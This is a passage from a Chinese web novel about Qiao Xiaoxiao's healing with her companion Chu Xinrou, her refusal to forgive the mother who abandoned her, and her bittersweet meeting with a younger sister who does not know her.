楚心柔将她搂得更紧了些,一只手缓缓抚过她单薄的背脊,“哭吧。”楚心柔的声音轻地落在她的心里,“我在这里。” 只有在姐姐面前,乔潇潇才是最原始的自己。 她不需要伪装隐藏任何,楚心柔会接受她的全部。 跟十年前相比,她还是不同的。 她有了姐姐,有了自己的家,对么? 窗外夜色渐深,而怀中的啜泣声终于渐渐平息。楚心柔低头看去,只见乔潇潇眼角还挂着泪珠,却已经在她怀里沉沉睡去。 楚心柔盯着潇潇看了许久,低下头,将温热的唇轻轻落在她的额头上。 【作者有话说】 第一次亲吻。 姐姐把所有的爱,都给了潇潇啊。 这一次,她不是一个人了。 ps:叶子突然*就双腿无力了……睡了一觉好了点。 89 第89章 ◎她们就像两株依偎着生长的藤蔓,在互相缠绕中治愈着彼此的伤痕。◎ 乔潇潇在熟悉的温暖中缓缓苏醒。 姐姐的气息如轻纱般笼罩着她,带着令人安心的温度。那些纠缠她许久的黑色梦魇终于消散,只是在意识回笼的刹那,她听见梦中自己那声模糊的“妈妈”。 睁开眼时,正对上楚心柔专注的目光。那双眼睛不知已凝视她多久,眸中盛满的温柔几乎要溢出来,乔潇潇看的鼻子一酸,慌忙把脸埋进姐姐的颈窝。 楚心柔指尖轻轻抚过潇潇的发丝,她垂下眼睫,眼底浮起一抹心疼。 潇潇那声“妈妈”,不仅是梦里叫的。 她像是说梦话一样叫出了声,呢喃了好几遍,虽然很轻,可每一句都像是敲在楚心柔的心上。 这才是她内心深处的渴望吧。 楚心柔真的如她说的那样,她没有打扰到乔潇潇。 当乔潇潇蜷缩在床上独自神伤时,楚心柔就在不远处的窗边,或执一卷泛黄的书册,或执笔勾勒几笔水墨。阳光透过窗棂,在她低垂的睫毛上投下细碎的光影,偶尔抬眼时,目光总是先落在潇潇身上,给她足够的安全感。 每天晚上,当那种抑郁的黑色情绪蔓延而来的时候,楚心柔就会双手紧紧地抱着乔潇潇,用自己的气息将她包裹,赶走一切痛苦。 在姐姐的怀里,潇潇几乎没有失眠,等她情绪稍好一点,楚心柔便会带她出去走走。 她真的没有好好看过这个小山村,以前,楚心柔采风的时候来的,也就只站在山谷间去画画。 刚开始,潇潇的话并不多,多是楚心柔的声音。 “看那棵老槐树,我写生时总爱在树荫下小憩,有次醒来发现画板上停着两只翠鸟,竟把我画的竹子当成了真的。” “山谷间,其实是我第一次遇到你的地方,你当时像是去采药材,摔倒了,手都划破了,也没有哭鼻子,一个人站了起来。” 乔潇潇怔怔地看向姐姐,她怎么没有印象? 楚心柔的目光软软的,“当时你那么瘦小,把脏衣服脱下来之后,胳膊上全是青紫的伤痕。” 或许,从那个时候开始,保护欲已经在心底涌起了吧。 人和人的缘分就是如此奇妙。 后来的楚心柔,想不到,那一日让她心疼的女孩,此后会跟自己有一辈子的牵连。 “那边有块青石板……就是我被蛇咬到的地方。” 乔潇潇闻言猛地转身,瞳孔骤然紧缩,她以前听村子里的人说过,姐姐是这样跟万柳村结的缘,但她从来不敢去问到底是为什么会这样。 楚心柔平静地望着远处,阳光在她眸中碎成粼粼波光。“挺疼的,”她嘴角牵起一抹恍惚的笑,“但很快就不疼了。昏迷前最后一个念头,竟是觉得……这样也好,终于可以歇一歇了。” 那时的楚心柔,正被家族与亲人撕扯得支离破碎。日复一日,年复一年,那些无形的枷锁勒进血肉,将她的灵魂绞成碎片。 没有出口,没有救赎,连痛呼都被生生咽回喉咙深处。 乔潇潇突然伸手将她揽入怀中,单薄的肩膀不住颤抖,“姐姐……”这一声呼唤里浸满了心疼。 楚心柔在她颈窝处闭上眼,睫毛扫过一片温热的肌肤,“潇潇。” 她的声音轻得像一声叹息,“其实许可晴……不是我亲生母亲。” 这句话像一道惊雷劈在乔潇潇心尖。她浑身剧震,连呼吸都停滞了。 这个秘密,连楚凤依都不曾知晓,甚至,或许楚云疾和许可晴都认为她也不知道。 她多希望自己真的不知道。 楚心柔向来是最擅长隐忍的,那些鲜血淋漓的往事,那些蚀骨灼心的痛楚,都被她细细缝进皮肉之下。可此刻面对潇潇的眼泪,她竟亲手撕开了那道早已结痂的伤疤,仿佛唯有这样血淋淋的坦诚,才能让怀里的人明白——你看,我们都带着伤,潇潇,你不是一个人。 乔潇潇哭了,她抱着姐姐失声痛哭,这一次,不是为了自己,而是心疼姐姐。 楚心柔抱住了她,眼睛湿润,明明是为了安慰潇潇才说出的秘密,为什么灵魂深处那些尘封多年的委屈,却像春日的藤蔓般疯狂生长,她轻轻将额头抵在潇潇单薄的肩膀上,任由那些压抑多年的泪水悄然滑落。 晚风掠过树梢。 两个伤痕累累的灵魂就这样紧紧相拥,在风中站成彼此最坚固的支点。 …… 有姐姐的陪伴,潇潇好了很多,她其实想要问问姐姐有关于家的事儿,却又把掀开她心底的旧伤。 潇潇有时候会想,她这么痛苦的时候,有姐姐无比体贴的陪着自己。 那当年呢? 当年姐姐知道一切的时候,只有她一个人的时候,她该是怎么度过的? 后来那几天,她们常去山间漫步,看野花在风中摇曳,听草叶摩挲的沙沙声。 更多时候,两人就坐在小院的石凳上。 乔潇潇望着远处层叠起伏的山峦出神,那些沉淀在岁月里的往事,如同山间流动的晨雾般在她眼底若隐若现。阳光穿过老槐树的枝叶,在她脸上投下斑驳的光影。 楚心柔轻轻靠在她肩头,发丝间飘散着淡淡的皂角清香。她唇边哼着不知名的古老调子,歌声像一缕轻烟,在午后的微风中袅袅升起,又悄然消散在斑驳的院墙之间。 在这般温柔的陪伴中,乔潇潇心底那些翻涌的戾气,竟也如退潮般渐渐平息。楚心柔的温柔似水,一点一滴浸润着她龟裂的心田。 其实很难说清是谁在救赎谁。 她们就像两株依偎着生长的藤蔓,在互相缠绕中治愈着彼此的伤痕。 到了第四天的时候,潇潇已经有勇气去见王素了。 离开前,她握了握姐姐的手,轻声说:“你放心。” 楚心柔看着她的眼睛,点了点头。 老槐树下,乔半山的身影在缭绕的烟雾中若隐若现。这些日子,他那杆黄铜烟袋几乎长在了手上,抽得狠了,便弓着背剧烈咳嗽,像是要把五脏六腑都咳出来。 乔潇潇路过时驻足,晨光透过树叶间隙,在她脸上投下细碎的光斑,“少抽些吧。” 乔半山抬起浑浊的眼,正对上侄女清亮的眸子。乔潇潇唇角微扬:“我好多了,大伯。”那笑意不深,却很真实。 是这样的。 似乎每一次,楚心柔的到来,都让能潇潇好很多。 乔半山望着侄女远去的背影,直到那抹身影消失在巷口。他重重地吸完最后一口烟,烟袋锅在石阶上磕了磕,这才起身走向楚心柔。 楚心柔端坐在藤椅中,指尖轻抵着泛黄的书页。阳光透过廊檐在她周身勾勒出一道清冷的轮廓,那与生俱来的威仪让乔半山在五步开外就生生刹住了脚步。书页合拢的轻响打破了凝滞的空气,她抬眼时,眸光如秋水般凛冽。 “有事?”简短的问句惊醒了踌躇的乔半山。他粗糙的指节无意识地摩挲着烟袋,喉结滚动了几下:“前些日子……多亏了你。” 廊下的阴影里,楚心柔的指尖轻轻敲打着书脊。黄素兰那个疯女人闹得满城风雨时,是她不动声色地斡旋,最终让那纸离婚协议尘埃落定。而这一切,她从未向潇潇提起。 “要去潇潇那儿帮忙?”她突然转换话题,声音里听不出喜怒。工作室确实缺人手,这个安排合情合理,虽然她打心底不喜欢眼前这个男人。哪怕当年是他把潇潇从牛棚里牵出来的,依旧没办法让自己喜欢他。 他一个大老爷们,如果真的想要保护潇潇,怎么可能让她一次又一次的挨打? 她闭了闭眼,将翻涌的情绪压回心底。 “是想着去潇潇那儿,或者糯糯那边也行……”乔半山声音渐低,布满皱纹的脸上浮现出迟疑。年过半百才迈出这一步,他难免忐忑。 楚心柔难得地宽慰道:“看大门总还是胜任的。” 乔半山:…… 潇潇的心愿,楚心柔再明白不过。 她虽然渴望钱,但是却不贪着。 她想要的自始至终都是能让家人过上好日子,可以把糯糯照顾好,不用为了生计再奔波。 其他的,即便如今手头宽裕了,潇潇依旧保持着那份质朴。衣柜里找不出一件名牌衣裳,一碗自己煮的清汤面也能吃得津津有味。 楚心柔懂乔潇潇,可王素并不懂。 她看见女儿出现在酒店门口时,整个人像触电般站了起来,双手不受控制地微微颤抖。 乔潇潇平静地注视着她,眼底波澜不惊。 王素知道这次见面来之不易,声音发颤:“潇潇……当年是妈妈不对,可那时候实在是走投无路,没办法把你们姐妹都带走……” 如果一个都不留下,乔万山心里的戾气没办法释放,一定会发疯的到处找她们,一个都走不了。 乔潇潇垂着眼睫,沉默以对。 “这些、这些年妈妈拼命工作。”王素急切地往前迈了半步,“现在事业有成了。你还在读大学吧?以后不用那么辛苦了,妈妈会好好补偿你的。听说青心在找场地,我可以——” “是啊,我都上大学了。” 乔潇潇轻声打断,这话像是说给王素听,又像是说给自己听。 多讽刺啊。 缺席了整整一个童年。 在她母亲口中,当年的抛弃不过是轻飘飘的一句“情非得已”,现在想用金钱一笔勾销? 王素被女儿黯淡的眼神刺痛,手足无措:“妈妈知道你现在很优秀……但、但你不用这么辛苦的,我回来了。” “习惯了。” 乔潇潇语气疏离。她仔细端详着王素的脸,忽然觉得血缘真是可怕的东西。即便被抛弃这么多年,即便从未相见——她们的眼睛,她们的眉梢,依然如出一辙。 “我不需要补偿。”乔潇潇抬眸直视王素,“也不会原谅。” “不要再来找我,不要再来打扰我现在的生活。” “没有你,我活下来了,现在的我也很好。” 最好,再也不见。 有些伤痕,不是轻描淡写就能抹去。 她做不到。 王素眼里的光一点点暗了下去,她低下头,喃喃地说:“我知道……” 她知道的,过去,没有办法那么轻易掀篇。 知道自己不会就这么被原谅。 她期待过,却不敢奢望。 酒店旋转门将刺眼的阳光切割成碎片,乔潇潇站在光与影的交界处,手中紧紧攥着一个褪色的布娃娃。 指节因过度用力而泛白,仿佛要把这小小的玩偶揉进骨血里。 泪水在她仰起的脸上肆意奔流,在下颌处凝成摇摇欲坠的水珠。 这是王素离开前带走的唯一跟女儿有关的东西——潇潇小时候最喜欢的玩具。 布娃娃的棉布已经泛黄,缝线处露出磨损的痕迹,里面的棉絮都要露出来了一般。 乔潇潇颤抖着将娃娃贴上面颊,粗糙的布料刮擦着皮肤,她像是小时候一样,一边轻轻地亲着娃娃,一边哽咽地唱着那熟悉的童谣:“睡吧睡吧,我亲爱的宝宝,睡吧睡吧,妈妈爱你……” 不知不觉间。 泪流满面。 【作者有话说】 姐姐的过去,也很不容易的。 90 第90章 ◎再见面。◎ 乔潇潇从万柳村回来后,整个人都变了。 这种变化明显到连最迟钝的人都能察觉。往日活泼的她,如今总是沉默寡言。聚会时常常说着说着就陷入恍惚,那双曾经灵动的眼睛如今空洞得让人心慌。 最令人担忧的是,她连最热衷的“赚钱”事业都搁置了。 青心不去,大学也不常去,大部分时间都蜷缩在家中昏睡。 楚心柔好几次回家,都看见她抱着那个褪色的旧布娃娃,在床上一动不动地躺着,有时候,潇潇还会用被子把自己从头到脚裹住,宛若木乃伊。 杨绯棠急得团团转,变着法子想哄潇潇开心。麻辣小龙虾、现买的火锅食材,这些往日最能勾起她食欲的美味,如今也只能换来寥寥几口。更多时候,乔潇潇只是机械地咀嚼几下,便又躲回那个只属于她自己的世界里。 杨绯棠忧心忡忡地问楚心柔,“崽子不会抑郁了吧?” 楚心柔没有立即回答。她太熟悉这种状态了,那种全世界都褪了色的感觉,就像整个人被抽走了灵魂,只剩下一个空壳在人间游荡。 没有办法。 只能她自己想通了,自己要走出来才行。 乔潇潇原本的身材是匀称有力的,在连日来的食欲不振下迅速的单薄,连精神都像被抽干了似的,整个人摇摇欲坠。 面对楚心柔渐渐焦虑的目光,乔潇潇坐在床上,缓缓地说:“姐姐,我没事儿,只是需要一些时间。” 只是有很多情绪,堆积在心头,像是被用石头压住了,让她喘不过气来。 楚心柔也曾经这样过,她用了很久的时间,几乎是耗干了半条命才走出来的。 她知道,现实的自己跟内心深处的自己不能和解,那是一个什么感觉。 楚心柔也减少了外出的时间,很多时候,都是在家里画画,浇浇花。 她不说什么,却用实际行动默默地陪着乔潇潇。 杨绯棠也总过来,她那样爱热闹的人是不会变的,她才不管潇潇抑郁不抑郁,跟以前一样,对着崽子说个不停。 有好几次,楚心柔看见乔潇潇躺在床上,动也不动。 而杨绯棠就坐在她床边上,拿着一盘子五子棋,自己下完之后,就去抓乔潇潇的手下棋,末了,她还美滋滋地说:“我又赢了!” 楚心柔:…… 她们都在用自己的方式守护着她。 大概半个月的时候,乔潇潇总算是开口了,她缓慢地起身,走到客厅里,对着在看心里书籍的楚心柔说:“姐姐,我想吃面条。” 这话把楚心柔激动坏了,她赶紧去厨房给潇潇做了碗面条。 这大概是这半个月来,潇潇吃的最多的一次吧,她一股脑的把一碗面条都吃了。 “姐,我去一趟北京。” 那是王素在的地方。 楚心柔的指尖在书页上停顿了片刻,房间里只剩下时钟滴答的声音。她最终合上书本,转头凝视着乔潇潇的眼睛,轻声却坚定地说:“好,我在家等你。” 那个“家”字被她咬得格外清晰,像是要让乔潇潇记住。 乔潇潇放下筷子,她挪到楚心柔身边,将头轻轻靠在姐姐肩上。楚心柔身上淡淡的茉莉花香让她不自觉地放松了紧绷的神经。 “嗯。”乔潇潇的声音闷在楚心柔的衣料里,“我会早点回来的。” 窗外的阳光斜斜地照进来,在两人交叠的身影上镀了一层金边。楚心柔感觉到肩头传来的重量,伸手抚了抚乔潇潇的发丝。 对于楚心柔放潇潇一个人去北京这件事儿,杨绯棠始终是不同意的,她很害怕潇潇又钻牛角尖,走不出来。 对于王素的事儿,她的态度很坚决。 “我知道,她当年逃跑是被逼的没有办法了,也承认她是一个可怜的女人,但是——”杨绯棠深吸一口气,趁着乔潇潇不在场,终于说出了憋在心里许久的话,“我觉得,她不配被潇潇原谅。” 楚心柔抿紧了嘴唇,手指无意识地摩挲着茶杯边缘。 杨绯棠在客厅里来回踱步,越说越激动,“不是说那该死的爹一天天酗酒么?一天天拿了钱就去赌场么?她真的就没有一次能够把两个女儿都带走的机会?那条锁链,真的就打不开?” 她说着说着,自己的脸气的通红,“是,我是站着说不腰疼,她可能是“迫不得已”的情况下才带着她的小女儿跑了,从她的角度,这已经是没有办法中的办法了,舍弃大女儿,总好过所有人都耗死在这儿强,可这对潇潇来说也太惨了。” 她自己都说了不是么? 如果把大女儿也带走,乔万山是不会善罢甘休,心里的那股戾气不散,会天南海北的追她们的。 那留给潇潇的是什么? 是一个才十岁的小孩承受乔万山的全部不满与怨气。 听村长宋岩说过,乔潇潇当年不仅差点被打死,没有人管又眉清目秀的小女孩,在村子里能有什么好日子过? 潇潇不说,但是她们都知道。 她好几次差点被流浪汉拖走。 她为什么对王宁的奶奶那么有感情,除了那一饭之恩,老太太只要听到点风吹草动,准拄着拐出来呵斥。 没有人知道,承受了乔万山全部愤怒,一日日在拳头下过生活,好不容易熬到爹死了,一份赔偿金没有拿到,还被大伯带回家,当免费劳动力,继续挨饿挨打的潇潇,是怎么过来的。 如果不是楚心柔。 她坚持不下来的。 现在的她,或许已经回村嫁人了,或许在哪个工厂的流水线上耗着全部人生。 所以,乔潇潇才会像抓住救命稻草般拼命赚钱,才会风雨无阻地坚持锻炼。她总是笑着说“喜欢”,可那笑容背后,是一个在小心翼翼地填补童年空洞的可怜人。 那么多年了,王素的公司已经壮大到五百多人了,算是中型企业了,有钱有能力有资源的,她就是自己害怕,自己恐惧,就不能派底下的人来把潇潇接走么? “王素拯救了自己,救赎了她小女儿的人生,既然当初选择了舍弃,这么多年也没有回来,就不要再舔着脸来求原谅。” 开往北京的高铁疾驰在轨道上,窗外的景色飞速后退。 这已经不是乔潇潇第一次乘坐这趟列车了。除了之前和白七自驾游那次,这些年,无论是外出考察还是参加会议,只要有机会,她总会绕道来这座城市走一走。 她谁也没有说。 其实,这些年,看似已经幸福,已经接受了一切的潇潇,心底一直渴望着…… 潇潇打听过,也想办法寻找过,可人海茫茫,她只听姥姥家族那边说,大概是去北京了,但是具体在哪儿,她不知道。 所以,每次她都会来这座陌生的城市转一转。 或许,在哪个街角,她能看到熟悉的人,不是么? 乔潇潇不知道自己怎么了,明明,她心里怨恨王素,怨恨她就那么丢掉了自己,可内心深处,她却不停的渴望着,甚至祈求着……想要再看看她。 这样矛盾的情绪,几乎将她撕裂。 她没办法消化,所以,这些天才会选择睡觉。 只有睡着了,她才会回到小时候,回到妈妈的怀抱里,没有怨恨,没有痛苦,也没有……被丢弃。 这张纸条上的地址,还是王素给她留下的。 抵达北京时,天空飘起了细雨。雨丝很细,像一层薄纱轻轻笼罩着这座千年古都。乔潇潇站在出站口,望着灰蒙蒙的天空发了好一会儿呆,才拖着行李箱去了预定的酒店。 安顿好后,她先给楚心柔发了平安到达的消息,随后在酒店附近找了家拉面馆。热腾腾的牛肉拉面冒着白气,她机械地咀嚼着,眼神却始终没有焦点。 雨还在下。乔潇潇撑开伞,拦了辆出租车。 “师傅,去西城的万博苑小区北门。” 司机是位热情的老北京,透过后视镜打量这个文静的姑娘:“姑娘是来旅游的吧?这季节来北京正好,不冷不热的。要不要给你推荐几个地道的馆子?” 乔潇潇望着窗外被雨水打湿的街道,没有拒绝“谢谢。” 司机顿时来了精神,如数家珍般絮叨起来:“要说烤鸭啊,全聚德那是给外地人吃的,咱本地人都去大董或者便宜坊……豆汁儿您可别轻易尝试,那味儿啊……”从铜锅涮肉到卤煮火烧,从聚宝源到小肠陈,恨不得把整个北京城的美食都介绍个遍。 车子缓缓驶入西城区,导航地图上的路线已经变成了深红色。司机反复查看着实时路况,忍不住叹气:“这城里啊,这个点堵得厉害,特别是这边。临着北京南站,又是二环内,简直是寸步难行。”他透过后视镜瞥了眼始终沉默的乘客,“小姑娘,是来探亲的?” 乔潇潇的眼神缥缈,“嗯,我妈妈和妹妹住在这里。” “哎呦喂!”司机惊讶地睁大了眼睛,“那您家可不简单啊!这一片儿,紧挨着金融街学区,离天安门也就几步路,房价早就突破天际了。”他咂了咂嘴,“就这万博苑小区,没个十几万一平根本拿不下来。” 司机透过后视镜瞥了一眼,那个始终安静的姑娘正望着窗外发呆,雨水在玻璃上蜿蜒而下,模糊了她的侧脸,像一幅被水晕染的水墨画。 车子在拥堵的车流中艰难前行,足足开了一个半小时才到达目的地。 小区对面就是一家连锁宾馆,乔潇潇特意选了间临街的房间。办理入住时,前台服务员好奇地打量着她,这个年轻女孩只背了个简单的双肩包,却要了最贵的景观房。 站在窗前,乔潇潇能清晰地看到对面小区的出入口。她没有急着去敲门,只是静静地坐在窗边的椅子上,窗外的细雨织成了一张朦胧的网,将三号楼的门口笼罩其中。 雨天的下午,小区里行人稀少。偶尔有人撑着伞匆匆走过,溅起细小的水花。 乔潇潇的目光始终没有离开那个大门,直到放学时分,小区才渐渐热闹起来。接孩子的老人三三两两地从楼里出来,打着伞在校车停靠点等候。 乔潇潇突然坐直了身子,手指不自觉地攥紧了窗帘。人群中,一个扎着双麻花辫的小女孩蹦蹦跳跳地走来,她身上Burberry风衣在雨水中格外醒目。小女孩正低头摆弄着最新款的iPhone,身旁的中年保姆小心翼翼地撑着伞,时不时俯身说着什么。 虽然已经十年未见,但乔潇潇还是一眼就认出了妹妹,乔沐沐。 那微微上扬的眼角,小巧的鼻梁,甚至是笑起来时嘴角的弧度,都像是乔潇潇等比例缩小的。 唯一的区别是女孩右眼角那颗小小的泪痣。 女孩跟保姆博弈了一会儿,又打了个电话出去,她像是得逞一样,露出胜利的微笑,拿起伞,一个人往旁边的商场走。 她真的是太烦这种天天被人跟着的感觉了,她们同龄人,都能自己下楼玩了,她都快十三了,怎么就不能自己出行。 天天说有坏人可能把她拐走。 拜托,她都一米六五了,身高都要超过妈妈了,谁拐她? 还有,这到处都是监控,她手里又有手机,有什么事儿,她打电话不就行了? 旁边就是繁华的商场,里面吃喝玩乐一条龙,上了一天补课班的她早就想休息了。 乔潇潇本来想忍着不靠近的。 可那是跟她留着一样血的妹妹,是她小时候一直抱着的小女孩。 当时,农村重男轻女,本来生了乔潇潇之后,乔万山已经不开心了,又来了这么一个丫头片子,他连名字都没有娶,丢给了王素。 那几年,家里已经在走下坡路了,王素和乔万山根本没有时间管小女儿。 不夸张的说,妹妹从出生,到她离开前的三岁,基本上都是潇潇带的。 …… 乔潇潇小心翼翼地靠近妹妹,小姑娘正在玩投篮游戏,最近学校里女篮校队招人,她很想进,但奈何技术太菜。 近距离,乔潇潇看清了妹妹的面容,阳光灿烂,皮肤好到吹弹可破,但是面子上一点不表现出来,她随手拿起篮球,抬手一扔,三分进篮。 她以前训练的间隙,被女篮拉过去凑过人头,技术还不错。 果不其然,小女孩立即被乔潇潇吸引过去了,她在看到乔潇潇的样子的时候,惊讶地捂住了嘴,眼睛死死地盯着乔潇潇的脸:“wow,姐姐,你长得跟我好像啊!” 真的好像啊! 亲姐妹一样!!! 她这大咧咧毫不怯场的性格,跟乔潇潇想的不大一样,她记得自己十三岁的时候,别说是主动和人说话了,就是别人一个眼神望过来,潇潇都要立刻低下头。 乔潇潇对着她笑了笑,“是啊,我们长得好像。” 她的语气里带着难以察觉的苦涩。 “姐姐,我看你投篮好厉害,你能教我吗?” 小姑娘雀雀欲试,乔潇潇点头,她一手拿起一个篮球,随手那么扔出去,全部进篮。 小姑娘眼睛都要冒桃心了,立即鼓掌,“厉害,太厉害了!” 好帅啊!这是她梦想中自己会有的样子。 乔潇潇微微一笑,她看着女孩:“你好,我叫乔潇潇。” 她说这话的时候,心高高的悬在嗓子眼处,既怕妹妹认出她,又想要妹妹认出她。 乔沐沐被王素带走的时候,快三岁了,还不到,记忆大概是缺失的,可是如果这些年,王素对她提过自己,那…… 小姑娘立即豪爽地伸出手,她用和潇潇几乎一样的眉眼,笑的阳光灿烂:“你好,潇潇姐姐,我叫王暖阳!” 【作者有话说】 今天留言多,二更[坏笑] 90-100 91 第91章 (二更) ◎我也该回家了。◎ ——你好,潇潇姐姐,我叫王暖阳。 乔潇潇的心颤了一下,她喃喃自语般说着:“王暖阳。” 她说她叫王暖阳……她不认识自己…… “真……好听呢。” “嗯呢,是因为妈妈希望我的人生一片暖阳。” 每一个字都像钝刀割着心脏,乔潇潇心底最后那点自欺欺人的希望,碎成了齑粉。 王暖阳看眼前的大姐姐突然红了眼睛,偏了偏头,疑惑地问:“姐姐,你怎么了?” “没事儿……” 乔潇潇隐忍着转过头,她的声音哽咽,“来,我教你投篮。” 她握着篮球的手已经在颤抖了。 …… 王暖阳从来没有玩的这么痛快过,她和这个不过是相识了几个小时的大姐姐练球练了一身汗,她对这位素不相识的姐姐有着天然的好感,心不自觉的就很亲近。 而且这个姐姐很温柔,对她说话非常有耐心,教她练球浑身都是汗,甚至满脸都是汗,有的顺着眼角滑了下来。 打完篮球,王暖阳异常的兴奋,“姐姐,我请你喝星巴克。” 乔潇潇点了点头,随着她去了星巴克,这个点儿正是饭点,星巴克的人有些多,俩人坐在椅子上等着叫号的时候,王暖阳接到了王素的电话,“喂?” “宝宝啊,怎么还不回家?” 王暖阳蹙了蹙眉,“你不也没有回家?我和朋友在外面玩呢。” 王素还是不放心,想劝着她早点回去,王暖阳很是不耐烦:“我已经这么大了,你别处处都看着我,我和朋友一起玩玩还不行吗?明天我会准时去钢琴班的。” 挂了电话,王暖阳看着潇潇出神地看着自己,她不好意思地说:“我妈,总是这样,恨不得一天二十四小时联系我。” 乔潇潇听了点了点头,她看着手里叫号的小票,轻声说:“她很爱你。” 爱么? 王暖阳从不否认这一点。 她从小就没有爸爸。每当看到同学被父亲高高举起,或是被那双宽厚手掌牵着手过马路时,她总会下意识攥紧自己的书包带。她想,妈妈一定是想用加倍的宠爱,来填补那个永远空缺的位置。 王暖阳问过王素有关爸爸的事儿,每一次,妈妈的脸色都是铁青,很冷淡地说:“他死了,早就死了。” 每次说完这个话,王素总是会很长时间的不说话,一个人站在窗户前,看着外面的山发呆。 有时候,王暖阳还会看见她突然泪流满面。 慢慢的她也就不敢再问了。 在王暖阳的记忆里,童年是不断打包的纸箱,是永远陌生的天花板。她们搬了太多次家,多到她早已记不清那些城市的名字。妈妈王素总是紧绷着神经,像是被什么看不见的东西追赶着。直到那家小小的设计公司在北京站稳脚跟,漂泊的纸船才终于靠岸。 没有固定玩伴的童年像褪色的拼图。最艰难的那几年,她被寄放在不同邻居家。那些陌生的客厅里,她学会了蜷缩在沙发角落,把自己读成一本沉默的书。后来条件好些了,各种托管机构成了她的第二个家。如今宽敞的公寓里,保姆张姨的皱纹都比妈妈的脸更让她熟悉。 王暖阳知道自己骨子里住着个内向的小孩。可奇怪的是,面对这个初次见面的姐姐,那些积压已久的话语突然找到了出口,像春日解冻的溪流般欢快地奔涌。 她们转战三楼的电玩城时,王暖阳惊讶地发现篮球场上游刃有余的姐姐,面对跳舞机却手足无措。 “姐姐应该上大学了吧?”她往投币口塞着游戏币,嘴角扬起狡黠的弧度,“是不是大学生都玩手游,看不上这种老古董呀?” 乔潇潇盯着屏幕上闪烁的3D山谷,手指僵硬地悬在按键上方:“我……小时候没什么机会玩这些。” 王暖阳正要按下开始键的手指突然停住。她转过头,眼睛里盛满天真:“为什么呀?是叔叔阿姨逼着你上补习班吗?” 乔潇潇的头微微垂下,敏感的王暖阳察觉到自己可能说到姐姐不愿意提及的事情上了,她赶紧转移话题:“姐姐,那你有姐姐或者妹妹吗?” 乔潇潇轻轻地点了点头,凝视着王暖阳,缓缓地说:“我有一个亲妹妹,很可爱。” 王暖阳没多想,只是感叹:“真好啊,好羡慕啊,两个人在一起才好,我一个人总觉得没意思。” 乔潇潇的唇抿成一条苍白的线,指甲深深陷入掌心,那颗千疮百孔的心脏正在胸腔里无声地泣血。 “不过……”王暖阳成功绞杀怪物后,凑近乔潇潇,笑着说:“我小时候啊,总觉得我曾经有个姐姐。” 这句话像一柄冰锥,瞬间将乔潇潇钉在原地。她的血液仿佛凝固了,连指尖都失去了知觉,她怔怔地看着王暖阳。 小暖阳一脸认真:“就是总感觉自己的记忆里像是有残影一样,被一个姐姐抱*着,我还问过妈妈好多次呢。” 乔潇潇连呼吸都屏住了。 王暖阳笑着摇了摇头:“妈妈总说我学习太累,出现幻觉了,姐姐,你看我们长得真像,要是亲姐妹该多好。” …… 窗外的雨声渐渐稠密,雨滴拍打着商场的玻璃穹顶,像无数细小的指尖在叩问。 乔潇潇看了看表,知道王暖阳再不回去,王素该着急了,“快回去吧。” 王暖阳依依不舍地看着她:“姐姐,你明天还会来么?” 乔潇潇望着那双与自己如出一辙的眼睛,轻轻点了点头。 王暖阳露出开心的笑,她这才同意走了,离开前,她给保姆打了个电话,让她拿两把伞过来。 保姆来得很快。王暖阳小跑到商场门口,接过两把伞时,雨水已经在地面汇成细流。她转身时还在想,潇潇姐姐会不会喜欢这把印着向日葵的伞。 可是当她回到原地时,那个位置已经空了。雨伞从她手中滑落,发出“啪”的一声轻响。王暖阳站在原地,看着空荡荡的游戏机座位,满心的失落。 一夜未眠。 乔潇潇一点点数着雨声,看着漆黑的窗外许久,她伸出双臂,轻轻地抱住了自己。 第二天,王暖阳很早就去商场了,她着急地四处张望,在看到乔潇潇那一刻,脸上绽放出璀璨的笑。 一回生,二回熟。 这一次,小暖阳的话更多了,她跟姐姐聊着自己喜欢的事儿,聊着过去,聊着将来。 “其实我不太喜欢北京。” “这里人太多了,走在街上总觉得喘不过气。” “我小时候搬过很多次家,苏州的巷子会飘着桂花香,成都的茶馆里有说书人的惊堂木声,广州的早茶铺子天不亮就热气腾腾,都比这里让我有归属感。” 乔潇潇的指尖无意识地摩挲着咖啡杯边缘,在杯壁上留下一圈模糊的指纹。 “那时候多好啊,有那么多的时间自己安排,哪儿像是现在寒暑假就被塞进各种夏令营,很无聊的。”王暖阳想了想,“不过,去年,我在北海道看到的企鹅,胖乎乎的,在雪地里一摇一摆,还挺可爱。” 乔潇潇经常听着她的话,听着听着就走神了。 王暖阳会在她的面前挥挥小手,咬着冰棍问:“姐姐,你呢?” 这个突如其来的问题让乔潇潇的呼吸微微一滞。她垂下眼帘,看着杯中晃动的咖啡倒影里自己模糊的轮廓。 “我么……” 她的声音轻得像一片落叶,“我小时候……”乔潇潇摩挲着杯沿的手指不自觉地收紧,“家里条件不好,吃不饱饭。” 阳光斜斜地穿过玻璃,在她低垂的睫毛下投下一小片阴影。 “我捡过废品。“乔潇潇轻声说,“每一种罐子,价钱都不一样。”她的指尖在桌面上轻轻比划着,“易拉罐最值钱,一毛五一个;铁罐头次之,攒够十斤才能换钱;最不值钱的是玻璃瓶。” 王暖阳听得津津有味,她一点都不会因为姐姐小时候贫穷嘲笑看不起她,反而觉得潇潇姐姐好厉害,这是她不曾触碰过的世界,她很好奇。 “餐馆后厨的工作,算是最累了,不仅要刷油腻腻的盘子,有时候,还会有醉酒的顾客跑到后面去闹事……” 乔潇潇把袖子撸起来,给暖阳看自己大臂处的疤痕,“这是被一个醉汉用破碗划的,他抓着我的头发往墙上撞,碎片就这么扎了进去。” 王暖阳听得呼吸都暂停了,很紧张地问:“潇潇姐姐,你后来告诉爸妈了么?报警了么?” 乔潇潇的目光暗淡,“我……我爸爸去世了……妈妈——”她喉结滚动了一下,“她把我……丢了。” 记忆里的血顺着胳膊往下淌,浸透了廉价T恤的袖口。餐馆老板数出几张皱巴巴的钞票塞给她时,纸币边缘都沾上了暗红的痕迹。小诊所的消毒水味刺得她眼睛发酸,绷带缠得潦草,回家黄素兰根本就不理她,丢了一大堆脏衣服给她,乔潇潇洗衣服时伤口又裂开了,混着洗衣粉的水变成淡淡的粉色。 王暖阳义愤填膺:“你妈妈为什么把你扔了?” 姐姐这么好的孩子…… “大概是我本来就是这样的命吧。” 乔潇潇不再多说,她看着王暖阳,“你这样幸福,姐姐又羡慕,又替你开心。” 这话说的没头没脑的,王暖阳有点愣,她偏着头看了看乔潇潇,乔潇潇对上她的眼睛:“暖阳,姐姐明天就要走了,你记得好好学习,孝顺……妈妈。” 王暖阳一听这话,满眼的舍不得:“姐姐,你把手机号给我,我们常联系,以后有时间,你还来找我玩行吗?” 